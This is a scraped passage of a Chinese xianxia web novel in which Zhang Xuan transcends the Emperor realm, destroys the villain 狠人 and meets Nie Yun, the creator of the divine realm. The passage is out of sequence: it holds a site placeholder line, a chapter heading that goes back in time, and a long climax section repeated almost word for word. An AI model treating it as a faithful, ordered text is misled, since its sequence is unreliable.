一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第91章 长路漫漫,各有心思 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” 